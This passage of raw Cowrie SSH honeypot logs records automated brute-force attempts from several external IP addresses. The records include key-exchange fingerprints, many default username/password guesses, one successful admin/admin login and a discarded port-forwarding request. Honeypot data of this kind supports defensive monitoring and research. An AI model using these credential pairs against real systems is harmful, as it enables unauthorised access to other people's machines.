sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:05.084774Z","src_ip":"87.251.64.176","session":"922c33269996","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":49718,"dst_ip":"10.17.0.5","dst_port":22,"session":"c91a189a1f0b","protocol":"ssh","message":"New connection: 45.156.87.147:49718 (10.17.0.5:22) [session: c91a189a1f0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:05.316452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:05.321493Z","src_ip":"45.156.87.147","session":"c91a189a1f0b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:05.371604Z","src_ip":"87.251.64.176","session":"922c33269996","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:05.411737Z","src_ip":"45.156.87.147","session":"c91a189a1f0b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:05.469407Z","session":"922c33269996","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:05.566161Z","src_ip":"87.251.64.176","session":"922c33269996","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:05.670386Z","src_ip":"87.251.64.176","session":"922c33269996","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"user","message":"login attempt [deployer/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:05.833213Z","src_ip":"45.156.87.147","session":"c91a189a1f0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:06.919626Z","src_ip":"45.156.87.147","session":"c91a189a1f0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"abc123","message":"login attempt [claude/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:07.131488Z","src_ip":"91.92.42.227","session":"922b94bdada8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":39076,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e24dcbfb2c9","protocol":"ssh","message":"New connection: 91.92.42.227:39076 (10.17.0.5:22) [session: 7e24dcbfb2c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:07.342150Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:08.519268Z","src_ip":"91.92.42.227","session":"7e24dcbfb2c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:08.524107Z","src_ip":"91.92.42.227","session":"7e24dcbfb2c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.3","message":"Connection lost after 8.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:09.331594Z","src_ip":"91.92.42.227","session":"922b94bdada8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":54826,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6df2011ae53","protocol":"ssh","message":"New connection: 45.156.87.147:54826 (10.17.0.5:22) [session: e6df2011ae53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:11.281858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:11.286493Z","src_ip":"45.156.87.147","session":"e6df2011ae53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:11.375452Z","src_ip":"45.156.87.147","session":"e6df2011ae53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345","message":"login attempt [root/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:11.625826Z","src_ip":"45.156.87.147","session":"e6df2011ae53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:12.714212Z","src_ip":"45.156.87.147","session":"e6df2011ae53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa1234567890","message":"login attempt [root/Aa1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:14.137033Z","src_ip":"91.92.42.227","session":"7e24dcbfb2c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":41850,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a157e05c7df","protocol":"ssh","message":"New connection: 91.92.42.227:41850 (10.17.0.5:22) [session: 5a157e05c7df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:14.654973Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:15.687116Z","src_ip":"91.92.42.227","session":"5a157e05c7df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:15.690143Z","src_ip":"91.92.42.227","session":"5a157e05c7df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.9","message":"Connection lost after 8.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:16.229945Z","src_ip":"91.92.42.227","session":"7e24dcbfb2c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":54842,"dst_ip":"10.17.0.5","dst_port":22,"session":"20c18047b79a","protocol":"ssh","message":"New connection: 45.156.87.147:54842 (10.17.0.5:22) [session: 20c18047b79a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:17.265805Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:17.269794Z","src_ip":"45.156.87.147","session":"20c18047b79a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:17.355312Z","src_ip":"45.156.87.147","session":"20c18047b79a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gabriel","password":"gabriel","message":"login attempt [gabriel/gabriel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:17.605749Z","src_ip":"45.156.87.147","session":"20c18047b79a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:18.692935Z","src_ip":"45.156.87.147","session":"20c18047b79a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq123456","message":"login attempt [root/Qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:21.162197Z","src_ip":"91.92.42.227","session":"5a157e05c7df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":41890,"dst_ip":"10.17.0.5","dst_port":22,"session":"0632910395d3","protocol":"ssh","message":"New connection: 91.92.42.227:41890 (10.17.0.5:22) [session: 0632910395d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:21.259406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:22.499291Z","src_ip":"91.92.42.227","session":"0632910395d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:22.502589Z","src_ip":"91.92.42.227","session":"0632910395d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":53216,"dst_ip":"10.17.0.5","dst_port":22,"session":"0380b3355249","protocol":"ssh","message":"New connection: 45.156.87.147:53216 (10.17.0.5:22) [session: 0380b3355249]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:22.891223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:22.895498Z","src_ip":"45.156.87.147","session":"0380b3355249","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:22.978293Z","src_ip":"45.156.87.147","session":"0380b3355249","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amit","password":"amit","message":"login attempt [amit/amit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:23.233675Z","src_ip":"45.156.87.147","session":"0380b3355249","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.9","message":"Connection lost after 8.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:23.531717Z","src_ip":"91.92.42.227","session":"5a157e05c7df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:24.317263Z","src_ip":"45.156.87.147","session":"0380b3355249","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":53590,"dst_ip":"10.17.0.5","dst_port":22,"session":"614cb8b51860","protocol":"ssh","message":"New connection: 91.92.42.227:53590 (10.17.0.5:22) [session: 614cb8b51860]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:27.946955Z"}
{"eventid":"cowrie.login.failed","username":"bitrix","password":"bitrix","message":"login attempt [bitrix/bitrix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:28.750610Z","src_ip":"91.92.42.227","session":"0632910395d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":53244,"dst_ip":"10.17.0.5","dst_port":22,"session":"7fa3333fcae4","protocol":"ssh","message":"New connection: 45.156.87.147:53244 (10.17.0.5:22) [session: 7fa3333fcae4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:29.051582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:29.056444Z","src_ip":"45.156.87.147","session":"7fa3333fcae4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2